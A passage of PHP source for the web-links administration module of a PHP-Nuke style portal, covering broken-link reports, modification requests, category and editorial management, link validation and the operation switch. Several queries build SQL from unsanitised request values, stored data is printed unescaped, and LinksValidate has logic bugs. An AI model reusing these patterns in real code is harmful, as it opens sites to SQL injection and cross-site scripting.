        echo "<option value=\"$cid2\" $sel>$ctitle2</option>";
    }
	echo "</select><input type=\"hidden\" name=\"op\" value=\"LinksModLinkS\"><input type=\"submit\" value=" . _MODIFY . "> [ <a href=\"admin.php?op=LinksDelNew&amp;lid=$lid\">" . _DELETE . "</a> ]</form><br><hr noshade><br>";
    CloseTable();
	echo "<br>";
	include("footer.php");
}

function LinksListBrokenLinks() {
    global $bgcolor1, $bgcolor2, $prefix, $db, $user_prefix;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    OpenTable();
    $result = $db->sql_query("SELECT requestid, lid, modifysubmitter from " . $prefix . "_links_modrequest where brokenlink='1' order by requestid");
    $totalbrokenlinks = $db->sql_numrows($result);
    echo "<center><font class=\"option\"><b>" . _USERREPBROKEN . " ($totalbrokenlinks)</b></font></center><br><br><center>"
	."" . _IGNOREINFO . "<br>"
	."" . _DELETEINFO . "</center><br><br><br>"
	."<table align=\"center\" width=\"450\">";
    if ($totalbrokenlinks==0) {
	echo "<center><font class=\"option\">" . _NOREPORTEDBROKEN . "</font></center><br><br><br>";
    } else {
        $colorswitch = $bgcolor2;
        echo "<tr>"
            ."<td><b>" . _LINK . "</b></td>"
            ."<td><b>" . _SUBMITTER . "</b></td>"
            ."<td><b>" . _LINKOWNER . "</b></td>"
            ."<td><b>" . _EDIT . "</b></td>"
            ."<td><b>" . _IGNORE . "</b></td>"
            ."<td><b>" . _DELETE . "</b></td>"
    	    ."</tr>";
	while($row = $db->sql_fetchrow($result)) {
	    $requestid = intval($row['requestid']);
	    $lid = intval($row['lid']);
	    $modifysubmitter = $row['modifysubmitter'];
	    $result2 = $db->sql_query("SELECT title, url, submitter from " . $prefix . "_links_links where lid='$lid'");
	    if ($modifysubmitter != '$anonymous') {
		$row3 = $db->sql_fetchrow($db->sql_query("SELECT user_email from " . $user_prefix . "_users where username='$modifysubmitter'"));
		$email = stripslashes($row3['user_email']);
	    }
	$row2 = $db->sql_fetchrow($result2);
            $title = stripslashes($row2['title']);
            $url = $row2['url'];
            $owner = $row2['submitter'];
    	    $row4 = $db->sql_fetchrow($db->sql_query("SELECT user_email from " . $user_prefix . "_users where username='$owner'"));
            $owneremail = stripslashes($row4['user_email']);
    	    echo "<tr>"
    		."<td bgcolor=\"$colorswitch\"><a href=\"$url\">$title</a>"
    		."</td>";
    	    if ($email=='') {
		echo "<td bgcolor=\"$colorswitch\">$modifysubmitter";
	    } else {
		echo "<td bgcolor=\"$colorswitch\"><a href=\"mailto:$email\">$modifysubmitter</a>";
	    }
    	    echo "</td>";
    	    if ($owneremail=='') {
		echo "<td bgcolor=\"$colorswitch\">$owner";
	    } else {
		echo "<td bgcolor=\"$colorswitch\"><a href=\"mailto:$owneremail\">$owner</a>";
	    }
    	    echo "</td>"
    		."<td bgcolor=\"$colorswitch\"><center><a href=\"admin.php?op=LinksEditBrokenLinks&amp;lid=$lid\">X</a></center>"
    		."<td bgcolor=\"$colorswitch\"><center><a href=\"admin.php?op=LinksIgnoreBrokenLinks&amp;lid=$lid\">X</a></center>"
    		."</td>"
    		."<td bgcolor=\"$colorswitch\"><center><a href=\"admin.php?op=LinksDelBrokenLinks&amp;lid=$lid\">X</a></center>"
    		."</td>"
    		."</tr>";
    	    if ($colorswitch == $bgcolor2) {
		$colorswitch = $bgcolor1;
       	    } else {
		$colorswitch = $bgcolor2;
	    }
    	}
    }
    echo "</table>";
    CloseTable();
    include ("footer.php");
}

function LinksDelBrokenLinks($lid) {
    global $prefix, $db;
    $lid = intval($lid);
    $db->sql_query("delete from " . $prefix . "_links_modrequest where lid='$lid'");
    $db->sql_query("delete from " . $prefix . "_links_links where lid='$lid'");
    Header("Location: admin.php?op=LinksListBrokenLinks");
}

function LinksIgnoreBrokenLinks($lid) {
    global $prefix, $db;
    $db->sql_query("delete from " . $prefix . "_links_modrequest where lid='$lid' and brokenlink='1'");
    Header("Location: admin.php?op=LinksListBrokenLinks");
}

function LinksListModRequests() {
    global $bgcolor2, $prefix, $db, $user_prefix;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    OpenTable();
    $result = $db->sql_query("SELECT requestid, lid, cid, sid, title, url, description, modifysubmitter from " . $prefix . "_links_modrequest where brokenlink='0' order by requestid");
    $totalmodrequests = $db->sql_numrows($result);
    echo "<center><font class=\"option\"><b>" . _USERMODREQUEST . " ($totalmodrequests)</b></font></center><br><br><br>";
    echo "<table width=\"95%\"><tr><td>";
    while($row = $db->sql_fetchrow($result)) {
        $requestid = intval($row['requestid']);
        $lid = intval($row['lid']);
        $cid = intval($row['cid']);
        $sid = intval($row['sid']);
        $title = stripslashes($row['title']);
        $url = $row['url'];
        $description = stripslashes($row['description']);
        $modifysubmitter = $row['modifysubmitter'];
	$row2 = $db->sql_fetchrow($db->sql_query("SELECT cid, sid, title, url, description, submitter from " . $prefix . "_links_links where lid='$lid'"));
        $origcid = intval($row2['cid']);
        $origsid = intval($row2['sid']);
        $origtitle = stripslashes($row2['title']);
        $origurl = $row2['url'];
        $origdescription = stripslashes($row2['description']);
        $owner = $row2['submitter'];
	$result3 = $db->sql_query("SELECT title from " . $prefix . "_links_categories where cid='$cid'");
	$result5 = $db->sql_query("SELECT title from " . $prefix . "_links_categories where cid='$origcid'");
	$result7 = $db->sql_query("SELECT user_email from " . $user_prefix . "_users where username='$modifysubmitter'");
	$result8 = $db->sql_query("SELECT user_email from " . $user_prefix . "_users where username='$owner'");
	$row3 = $db->sql_fetchrow($result3);
	    $cidtitle = stripslashes($row3['title']);
	$row5 = $db->sql_fetchrow($result5);
	    $origcidtitle = stripslashes($row5['title']);
	$row7 = $db->sql_fetchrow($result7);
	    $modifysubmitteremail = $row7['user_email'];
	$row8 = $db->sql_fetchrow($result8);
	    $owneremail = $row8['user_email'];
    	if ($owner=="") {
	    $owner="administration";
	}
    	if ($origsidtitle=="") {
	    $origsidtitle= "-----";
	}
    	if ($sidtitle=="") {
	    $sidtitle= "-----";
	}
    	echo "<table border=\"1\" bordercolor=\"black\" cellpadding=\"5\" cellspacing=\"0\" align=\"center\" width=\"450\">"
    	    ."<tr>"
    	    ."<td>"
    	    ."<table width=\"100%\" bgcolor=\"$bgcolor2\">"
    	    ."<tr>"
    	    ."<td valign=\"top\" width=\"45%\"><b>" . _ORIGINAL . "</b></td>"
    	    ."<td rowspan=\"5\" valign=\"top\" align=\"left\"><font class=\"tiny\"><br>" . _DESCRIPTION . ":<br>$origdescription</font></td>"
    	    ."</tr>"
    	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _TITLE . ": $origtitle</td></tr>"
    	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _URL . ": <a href=\"$origurl\">$origurl</a></td></tr>"
	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _CATEGORY . ": $origcidtitle</td></tr>"
	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _SUBCATEGORY . ": $origsidtitle</td></tr>"
    	    ."</table>"
    	    ."</td>"
    	    ."</tr>"
    	    ."<tr>"
    	    ."<td>"
    	    ."<table width=\"100%\">"
    	    ."<tr>"
    	    ."<td valign=\"top\" width=\"45%\"><b>" . _PROPOSED . "</b></td>"
    	    ."<td rowspan=\"5\" valign=\"top\" align=\"left\"><font class=\"tiny\"><br>" . _DESCRIPTION . ":<br>$description</font></td>"
    	    ."</tr>"
    	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _TITLE . ": $title</td></tr>"
    	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _URL . ": <a href=\"$url\">$url</a></td></tr>"
	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _CATEGORY . ": $cidtitle</td></tr>"
	    ."<tr><td valign=\"top\" width=\"45%\"><font class=\"tiny\">" . _SUBCATEGORY . ": $sidtitle</td></tr>"
    	    ."</table>"
    	    ."</td>"
    	    ."</tr>"
    	    ."</table>"
    	    ."<table align=\"center\" width=\"450\">"
    	    ."<tr>";
    	if ($modifysubmitteremail=="") {
	    echo "<td align=\"left\"><font class=\"tiny\">" . _SUBMITTER . ":  $modifysubmitter</font></td>";
	} else {
	    echo "<td align=\"left\"><font class=\"tiny\">" . _SUBMITTER . ":  <a href=\"mailto:$modifysubmitteremail\">$modifysubmitter</a></font></td>";
	}
    	if ($owneremail=="") {
	    echo "<td align=\"center\"><font class=\"tiny\">" . _OWNER . ":  $owner</font></td>";
	} else {
	    echo "<td align=\"center\"><font class=\"tiny\">" . _OWNER . ": <a href=\"mailto:$owneremail\">$owner</a></font></td>";
	}
    	echo "<td align=\"right\"><font class=\"tiny\">( <a href=\"admin.php?op=LinksChangeModRequests&amp;requestid=$requestid\">" . _ACCEPT . "</a> / <a href=\"admin.php?op=LinksChangeIgnoreRequests&amp;requestid=$requestid\">" . _IGNORE . "</a> )</font></td></tr></table>";
    }
    if ($totalmodrequests == 0) {
	echo "<center>" . _NOMODREQUESTS . "</center><br><br>";
    }
    echo "</td></tr></table>";
    CloseTable();
    include ("footer.php");
}

function LinksChangeModRequests($requestid) {
    global $prefix, $db;
    $requestid = intval($requestid);
    $result = $db->sql_query("SELECT requestid, lid, cid, sid, title, url, description from " . $prefix . "_links_modrequest where requestid='$requestid'");
    while ($row = $db->sql_fetchrow($result)) {
        $requestid = intval($row['requestid']);
        $lid = intval($row['lid']);
        $cid = intval($row['cid']);
        $sid = intval($row['sid']);
        $title = stripslashes($row['title']);
        $url = $row['url'];
        $description = stripslashes($row['description']);
    	$db->sql_query("UPDATE " . $prefix . "_links_links SET cid='$cid', sid='$sid', title='$title', url='$url', description='$description' WHERE lid = '$lid'");
    }
    $db->sql_query("delete from " . $prefix . "_links_modrequest where requestid=$requestid");
    Header("Location: admin.php?op=LinksListModRequests");
}

function LinksChangeIgnoreRequests($requestid) {
    global $prefix, $db;
    $requestid = intval($requestid);
    $db->sql_query("delete from " . $prefix . "_links_modrequest where requestid=$requestid");
    Header("Location: admin.php?op=LinksListModRequests");
}

function LinksCleanVotes() {
    global $prefix, $db;
    $result = $db->sql_query("SELECT distinct ratinglid FROM " .$prefix  . "_links_votedata");
    while ($row = $db->sql_fetchrow($result)) {
	$lid = intval($row['ratinglid']);
    $voteresult = $db->sql_query("SELECT rating, ratinguser, ratingcomments FROM " . $prefix . "_links_votedata WHERE ratinglid = '$lid'");
    $totalvotesDB = $db->sql_numrows($voteresult);
	include ("voteinclude.php");
        $db->sql_query("UPDATE " . $prefix . "_links_links SET linkratingsummary='$finalrating', totalvotes='$totalvotesDB', totalcomments='$truecomments' WHERE lid = '$lid'");
    }
    Header("Location: admin.php?op=Links");
}

function LinksModLinkS($lid, $title, $url, $description, $name, $email, $hits, $cat) {
    global $prefix, $db;
    $cat = explode("-", $cat);
    if ($cat[1]=="") {
        $cat[1] = 0;
    }
    $title = stripslashes(FixQuotes($title));
    $url = stripslashes(FixQuotes($url));
    $description = stripslashes(FixQuotes($description));
    $name = stripslashes(FixQuotes($name));
    $email = stripslashes(FixQuotes($email));
    $db->sql_query("update " . $prefix . "_links_links set cid='$cat[0]', sid='$cat[1]', title='$title', url='$url', description='$description', name='$name', email='$email', hits='$hits' where lid='$lid'");
	//echo "update " . $prefix . "_links_links set cid='$cat[0]', sid='$cat[1]', title='$title', url='$url', description='$description', name='$name', email='$email', hits='$hits' where lid='$lid'"; exit;
    Header("Location: admin.php?op=Links");
}

function LinksDelLink($lid) {
    global $prefix, $db;
    $lid = intval($lid);
    $db->sql_query("delete from " . $prefix . "_links_links where lid='$lid'");
    Header("Location: admin.php?op=Links");
}

function LinksModCat($cat) {
    global $prefix, $db;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    $cat = explode("-", $cat);
    if ($cat[1]=="") {
        $cat[1] = 0;
    }
    OpenTable();
    echo "<center><font class=\"option\"><b>" . _MODCATEGORY . "</b></font></center><br><br>";
    if ($cat[1]==0) {
    $row = $db->sql_fetchrow($db->sql_query("SELECT title, cdescription from " . $prefix . "_links_categories where cid='$cat[0]'"));
	$title = stripslashes($row['title']);
	$cdescription = stripslashes($row['cdescription']);
	echo "<form action=\"admin.php\" method=\"get\">"
	    ."" . _NAME . ": <input type=\"text\" name=\"title\" value=\"$title\" size=\"51\" maxlength=\"50\"><br>"
	    ."" . _DESCRIPTION . ":<br><textarea name=\"cdescription\" cols=\"60\" rows=\"10\">$cdescription</textarea><br>"
	    ."<input type=\"hidden\" name=\"sub\" value=\"0\">"
	    ."<input type=\"hidden\" name=\"cid\" value=\"$cat[0]\">"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksModCatS\">"
	    ."<table border=\"0\"><tr><td>"
	    ."<input type=\"submit\" value=\"" . _SAVECHANGES . "\"></form></td><td>"
	    ."<form action=\"admin.php\" method=\"get\">"
	    ."<input type=\"hidden\" name=\"sub\" value=\"0\">"
	    ."<input type=\"hidden\" name=\"cid\" value=\"$cat[0]\">"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksDelCat\">"
	    ."<input type=\"submit\" value=\"" . _DELETE . "\"></form></td></tr></table>";
    } else {
    $row2 = $db->sql_fetchrow($db->sql_query("SELECT title from " . $prefix . "_links_categories where cid='$cat[0]'"));
	$ctitle = stripslashes($row2['title']);
    $row3 = $db->sql_fetchrow($db->sql_query("SELECT title from " . $prefix . "_links_subcategories where sid='$cat[1]'"));
	$stitle = stripslashes($row3['title']);
	echo "<form action=\"admin.php\" method=\"get\">"
	    ."" . _CATEGORY . ": $ctitle<br>"
	    ."" . _SUBCATEGORY . ": <input type=\"text\" name=\"title\" value=\"$stitle\" size=\"51\" maxlength=\"50\"><br>"
	    ."<input type=\"hidden\" name=\"sub\" value=\"1\">"
	    ."<input type=\"hidden\" name=\"cid\" value=\"$cat[0]\">"
	    ."<input type=\"hidden\" name=\"sid\" value=\"$cat[1]\">"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksModCatS\">"
	    ."<table border=\"0\"><tr><td>"
	    ."<input type=\"submit\" value=\"" . _SAVECHANGES . "\"></form></td><td>"
	    ."<form action=\"admin.php\" method=\"get\">"
	    ."<input type=\"hidden\" name=\"sub\" value=\"1\">"
	    ."<input type=\"hidden\" name=\"cid\" value=\"$cat[0]\">"
	    ."<input type=\"hidden\" name=\"sid\" value=\"$cat[1]\">"
	    ."<input type=\"hidden\" name=\"op\" value=\"LinksDelCat\">"
	    ."<input type=\"submit\" value=\"" . _DELETE . "\"></form></td></tr></table>";
    }
    CloseTable();
    include("footer.php");
}

function LinksModCatS($cid, $sid, $sub, $title, $cdescription) {
    global $prefix, $db;
    $cid = intval($cid);
    if ($sub==0) {
	$db->sql_query("update " . $prefix . "_links_categories set title='$title', cdescription='$cdescription' where cid='$cid'");
    } else {
	$db->sql_query("update " . $prefix . "_links_subcategories set title='$title' where sid='$sid'");
    }
    Header("Location: admin.php?op=Links");
}

function LinksDelCat($cid, $sid, $sub, $ok=0) {
    global $prefix, $db;
    include("header.php");
    $cid = intval($cid);
    if($ok==1) {
	if ($sub>0) {
    	$db->sql_query("delete from " . $prefix . "_links_categories where cid='$cid'");
	    $db->sql_query("delete from " . $prefix . "_links_links where cid='$cid'");
	} else {
	    $db->sql_query("delete from " . $prefix . "_links_links where cid='$cid'");
		// suppression des liens de catégories filles
	$result2 = $db->sql_query("SELECT cid from " . $prefix . "_links_categories where parentid='$cid'");
	while ($row2 = $db->sql_fetchrow($result2)) {
	$cid2 = intval($row2['cid']);
			$db->sql_query("delete from " . $prefix . "_links_links where cid='$cid2'");
		}
	    $db->sql_query("delete from " . $prefix . "_links_categories where parentid='$cid'");
	    $db->sql_query("delete from " . $prefix . "_links_categories where cid='$cid'");
	}
	Header("Location: admin.php?op=Links");    
    } else {
	$result = $db->sql_query("SELECT * from " . $prefix . "_links_categories where parentid='$cid'");
	$nbsubcat = $db->sql_numrows($result);
	$result3 = $db->sql_query("SELECT cid from " . $prefix . "_links_categories where parentid='$cid'");
	while ($row3 = $db->sql_fetchrow($result3)) {
	$cid2 = intval($row3['cid']);
		$result4 = $db->sql_query("SELECT * from " . $prefix . "_links_links where cid='$cid2'");
		$nblink += $db->sql_numrows($result4);
	}
	GraphicAdmin();
	OpenTable();
	echo "<br><center><font class=\"option\">";
	echo "<b>" . _EZTHEREIS . " $nbsubcat " . _EZSUBCAT . " " . _EZATTACHEDTOCAT . "</b><br>";
	echo "<b>" . _EZTHEREIS . " $nblink " . _links . " " . _EZATTACHEDTOCAT . "</b><br>";
	echo "<b>" . _DELEZLINKCATWARNING . "</b><br><br>";
    }
	echo "[ <a href=\"admin.php?op=LinksDelCat&amp;cid=$cid&amp;sid=$sid&amp;sub=$sub&amp;ok=1\">" . _YES . "</a> | <a href=\"admin.php?op=Links\">" . _NO . "</a> ]<br><br>";
	CloseTable();
	include("footer.php");	
}

function LinksDelNew($lid) {
    global $prefix, $db;
    $lid = intval($lid);
    $db->sql_query("delete from " . $prefix . "_links_newlink where lid='$lid'");
    Header("Location: admin.php?op=Links");
}

function LinksAddCat($title, $cdescription) {
    global $prefix, $db;
    $parentid=0;
    $result = $db->sql_query("SELECT cid from " . $prefix . "_links_categories where title='$title'");
    $numrows = $db->sql_numrows($result);
    if ($numrows>0) {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<br><center><font class=\"option\">"
	    ."<b>" . _ERRORTHECATEGORY . " $title " . _ALREADYEXIST . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	CloseTable();
	include("footer.php");
    } else {
	$db->sql_query("insert into " . $prefix . "_links_categories values (NULL, '$title', '$cdescription', '$parentid')");
	Header("Location: admin.php?op=Links");
    }
}

function LinksAddSubCat($cid, $title, $cdescription) {
    global $prefix, $db;
    $cid = intval($cid);
    $result = $db->sql_query("SELECT cid from " . $prefix . "_links_categories where title='$title' AND cid='$cid'");
    $numrows = $db->sql_numrows($result);
    if ($numrows>0) {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<br><center>";
	echo "<font class=\"option\">"
	    ."<b>" . _ERRORTHESUBCATEGORY . " $title " . _ALREADYEXIST . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	include("footer.php");
    } else {
	$db->sql_query("insert into " . $prefix . "_links_categories values (NULL, '$title', '$cdescription', '$cid')");
	Header("Location: admin.php?op=Links");
    }
}

function LinksAddEditorial($linkid, $editorialtitle, $editorialtext) {
    global $aid, $prefix, $db;
    $editorialtext = stripslashes(FixQuotes($editorialtext));
    $db->sql_query("insert into " . $prefix . "_links_editorials values ('$linkid', '$aid', now(), '$editorialtext', '$editorialtitle')");
    include("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><br>"
	."<font class=option>"
	."" . _EDITORIALADDED . "<br><br>"
	."[ <a href=\"admin.php?op=Links\">" . _WEBLINKSADMIN . "</a> ]<br><br>";
    echo "$linkid  $adminid, $editorialtitle, $editorialtext";
    CloseTable();
    include("footer.php");
}

function LinksModEditorial($linkid, $editorialtitle, $editorialtext) {
    global $prefix, $db;
    $linkid = intval($linkid);
    $editorialtext = stripslashes(FixQuotes($editorialtext));
    $db->sql_query("update " . $prefix . "_links_editorials set editorialtext='$editorialtext', editorialtitle='$editorialtitle' where linkid='$linkid'");
    include("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<br><center>"
	."<font class=\"option\">"
	."" . _EDITORIALMODIFIED . "<br><br>"
	."[ <a href=\"admin.php?op=Links\">" . _WEBLINKSADMIN . "</a> ]<br><br>";
    CloseTable();
    include("footer.php");    
}

function LinksDelEditorial($linkid) {
    global $prefix, $db;
    $linkid = intval($linkid);
    $db->sql_query("delete from " . $prefix . "_links_editorials where linkid='$linkid'");
    include("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<br><center>"
	."<font class=\"option\">"
	."" . _EDITORIALREMOVED . "<br><br>"
	."[ <a href=\"admin.php?op=Links\">" . _WEBLINKSADMIN . "</a> ]<br><br>";
    CloseTable();
    include("footer.php");
}

function LinksLinkCheck() {
    global $prefix, $db;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    OpenTable();
    echo "<center><font class=\"option\"><b>" . _LINKVALIDATION . "</b></font></center><br>"
	."<table width=\"100%\" align=\"center\"><tr><td colspan=\"2\" align=\"center\">"
	."<a href=\"admin.php?op=LinksValidate&amp;cid=0&amp;sid=0\">" . _CHECKALLLINKS . "</a><br><br></td></tr>"
	."<tr><td valign=\"top\"><center><b>" . _CHECKCATEGORIES . "</b><br>" . _INCLUDESUBCATEGORIES . "<br><br><font class=\"tiny\">";
    $result = $db->sql_query("SELECT cid, title from " . $prefix . "_links_categories order by title");
    while ($row = $db->sql_fetchrow($result)) {
	$cid = intval($row['cid']);
	$title = $row['title'];
        $transfertitle = str_replace (" ", "_", $title);
    	echo "<a href=\"admin.php?op=LinksValidate&amp;cid=$cid&amp;sid=0&amp;ttitle=$transfertitle\">$title</a><br>";
    }
    echo "</font></center></td></tr></table>";
    CloseTable();
    include ("footer.php");
}

function LinksValidate($cid, $sid, $ttitle) {
    global $bgcolor2, $prefix, $db;
    include ("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
    CloseTable();
    echo "<br>";
    OpenTable();
    $transfertitle = str_replace ("_", "", $ttitle);
    /* Check ALL Links */
    echo "<table width=100% border=0>";
    if ($cid==0 && $sid==0) {
	echo "<tr><td colspan=\"3\"><center><b>" . _CHECKALLLINKS . "</b><br>" . _BEPATIENT . "</center><br><br></td></tr>";
	$result = $db->sql_query("SELECT lid, title, url, name, email, submitter from " . $prefix . "_links_links order by title");
    }
    /* Check Categories & Subcategories */
    if ($cid!=0 && $sid==0) {
	echo "<tr><td colspan=\"3\"><center><b>" . _VALIDATINGCAT . ": $transfertitle</b><br>" . _BEPATIENT . "</center><br><br></td></tr>";
	$result2 = $db->sql_query("SELECT lid, title, url, name, email, submitter from " . $prefix . "_links_links where cid='$cid' order by title");
    }
    /* Check Only Subcategory */
    if ($cid==0 && $sid!=0) {
   	echo "<tr><td colspan=\"3\"><center><b>" . _VALIDATINGSUBCAT . ": $transfertitle</b><br>" . _BEPATIENT . "</center><br><br></td></tr>";
   	$result3 = $db->sql_query("SELECT lid, title, url, name, email, submitter from " . $prefix . "_links_links where sid='$sid' order by title");
    }
    echo "<tr><td bgcolor=\"$bgcolor2\" align=\"center\"><b>" . _STATUS . "</b></td><td bgcolor=\"$bgcolor2\" width=\"100%\"><b>" . _LINKTITLE . "</b></td><td bgcolor=\"$bgcolor2\" align=\"center\"><b>" . _FUNCTIONS . "</b></td></tr>";
    while($row3 = $db->sql_fetchrow($result3)) {
	$lid = intval($row3['lid']);
	$title = stripslashes($row3['title']);
	$vurl = parse_url($row3['url']);
	$name = $row3['name'];
	$email = stripslashes($row3['email']);
	$submitter = $row3['submitter'];
	$fp = fsockopen($vurl['host'], 80, $errno, $errstr, 15);
	if (!$fp){ 
	    echo "<tr><td align=\"center\"><b>&nbsp;&nbsp;" . _FAILED . "&nbsp;&nbsp;</b></td>"
		."<td>&nbsp;&nbsp;<a href=\"$url\" target=\"new\">$title</a>&nbsp;&nbsp;</td>"
		."<td align=\"center\"><font class=\"content\">&nbsp;&nbsp;[ <a href=\"admin.php?op=LinksModLink&amp;lid=$lid\">" . _EDIT . "</a> | <a href=\"admin.php?op=LinksDelLink&amp;lid=$lid\">" . _DELETE . "</a> ]&nbsp;&nbsp;</font>"
		."</td></tr>";
	}		
	if ($fp){ 
	    echo "<tr><td align=\"center\">&nbsp;&nbsp;" . _OK . "&nbsp;&nbsp;</td>"
		."<td>&nbsp;&nbsp;<a href=\"$url\" target=\"new\">$title</a>&nbsp;&nbsp;</td>"
		."<td align=\"center\"><font class=\"content\">&nbsp;&nbsp;" . _NONE . "&nbsp;&nbsp;</font>"
		."</td></tr>";
	} 
    }
    echo "</table>";
    CloseTable();   	
    include ("footer.php");
}

function LinksAddLink($new, $lid, $title, $url, $cat, $description, $name, $email, $submitter) {
    global $prefix, $db, $sitename, $nukeurl;
    $result = $db->sql_query("SELECT url from " . $prefix . "_links_links where url='$url'");
    $numrows = $db->sql_numrows($result);
    if ($numrows>0) {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
	CloseTable();
	echo "<br>";
	OpenTable();
	echo "<br><center>"
	    ."<font class=\"option\">"
	    ."<b>" . _ERRORURLEXIST . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	CloseTable();
	include("footer.php");
    } else {
/* Check if Title exist */
    if ($title=="") {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
	CloseTable();
	echo "<br>";
	OpenTable();
	echo "<br><center>"
	    ."<font class=\"option\">"
	    ."<b>" . _ERRORNOTITLE . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	CloseTable();
	include("footer.php");
    }
/* Check if URL exist */
    if ($url=="") {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
	CloseTable();
	echo "<br>";
	OpenTable();
	echo "<br><center>"
	    ."<font class=\"option\">"
	    ."<b>" . _ERRORNOURL . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	CloseTable();
	include("footer.php");
    }
// Check if Description exist
    if ($description=="") {
	include("header.php");
	GraphicAdmin();
	OpenTable();
	echo "<center><font class=\"title\"><b>" . _WEBLINKSADMIN . "</b></font></center>";
	CloseTable();
	echo "<br>";
	OpenTable();
	echo "<br><center>"
	    ."<font class=\"option\">"
	    ."<b>" . _ERRORNODESCRIPTION . "</b><br><br>"
	    ."" . _GOBACK . "<br><br>";
	CloseTable();
	include("footer.php");
    }
    $cat = explode("-", $cat);
    if ($cat[1]=="") {
	$cat[1] = 0;
    }
    $title = stripslashes(FixQuotes($title));
    $url = stripslashes(FixQuotes($url));
    $description = stripslashes(FixQuotes($description));
    $name = stripslashes(FixQuotes($name));
    $email = stripslashes(FixQuotes($email));
    $db->sql_query("insert into " . $prefix . "_links_links values (NULL, '$cat[0]', '$cat[1]', '$title', '$url', '$description', now(), '$name', '$email', '0', '$submitter', '0', '0', '0')");
    global $nukeurl, $sitename;
    include("header.php");
    GraphicAdmin();
    OpenTable();
    echo "<br><center>";
    echo "<font class=\"option\">";
    echo "" . _NEWLINKADDED . "<br><br>";
    echo "[ <a href=\"admin.php?op=Links\">" . _WEBLINKSADMIN . "</a> ]</center><br><br>";
    CloseTable();
    if ($new==1) {
	$db->sql_query("delete from " . $prefix . "_links_newlink where lid='$lid'");
	if ($email=="") {
	} else {
	    $subject = "" . _YOURLINKAT . " $sitename";
	    $message = "" . _HELLO . " $name:\n\n" . _LINKAPPROVEDMSG . "\n\n" . _LINKTITLE . ": $title\n" . _URL . ": $url\n" . _DESCRIPTION . ": $description\n\n\n" . _YOUCANBROWSEUS . " $nukeurl/modules.php?name=Web_Links\n\n" . _THANKS4YOURSUBMISSION . "\n\n$sitename " . _TEAM . "";
	    $from = "$sitename";
	    mail($email, $subject, $message, "From: $from\nX-Mailer: PHP/" . phpversion());
	}
    }
    include("footer.php");
    }
}

switch ($op) {
			
    case "Links":
    links();
    break;

    case "LinksDelNew":
    LinksDelNew($lid);
    break;

    case "LinksAddCat":
    LinksAddCat($title, $cdescription);
    break;

    case "LinksAddSubCat":
    LinksAddSubCat($cid, $title, $cdescription);
    break;

    case "LinksAddLink":
    LinksAddLink($new, $lid, $title, $url, $cat, $description, $name, $email, $submitter);
    break;
			
    case "LinksAddEditorial":
    LinksAddEditorial($linkid, $editorialtitle, $editorialtext);
    break;			
			
    case "LinksModEditorial":
    LinksModEditorial($linkid, $editorialtitle, $editorialtext);
    break;	
			
    case "LinksLinkCheck":
    LinksLinkCheck();
    break;	
		
    case "LinksValidate":
    LinksValidate($cid, $sid, $ttitle);
    break;

    case "LinksDelEditorial":
    LinksDelEditorial($linkid);
    break;						

    case "LinksCleanVotes":
    LinksCleanVotes();
    break;	
		
    case "LinksListBrokenLinks":
    LinksListBrokenLinks();
    break;

    case "LinksEditBrokenLinks":
	LinksEditBrokenLinks($lid);
	break;
	
    case "LinksDelBrokenLinks":
    LinksDelBrokenLinks($lid);
    break;
			
    case "LinksIgnoreBrokenLinks":
    LinksIgnoreBrokenLinks($lid);
    break;			
			
    case "LinksListModRequests":
    LinksListModRequests();
    break;		
			
    case "LinksChangeModRequests":
    LinksChangeModRequests($requestid);
    break;	
			
    case "LinksChangeIgnoreRequests":
    LinksChangeIgnoreRequests($requestid);
    break;
			
    case "LinksDelCat":
    LinksDelCat($cid, $sid, $sub, $ok);
    break;

    case "LinksModCat":
    LinksModCat($cat);
    break;

    case "LinksModCatS":
    LinksModCatS($cid, $sid, $sub, $title, $cdescription);
    break;

    case "LinksModLink":
    LinksModLink($lid);
    break;

    case "LinksModLinkS":
    LinksModLinkS($lid, $title, $url, $description, $name, $email, $hits, $cat);
    break;

    case "LinksDelLink":
    LinksDelLink($lid);
    break;

    case "LinksDelVote":
    LinksDelVote($lid, $rid);
    break;			

    case "LinksDelComment":
    LinksDelComment($lid, $rid);
    break;

    case "LinksTransfer":
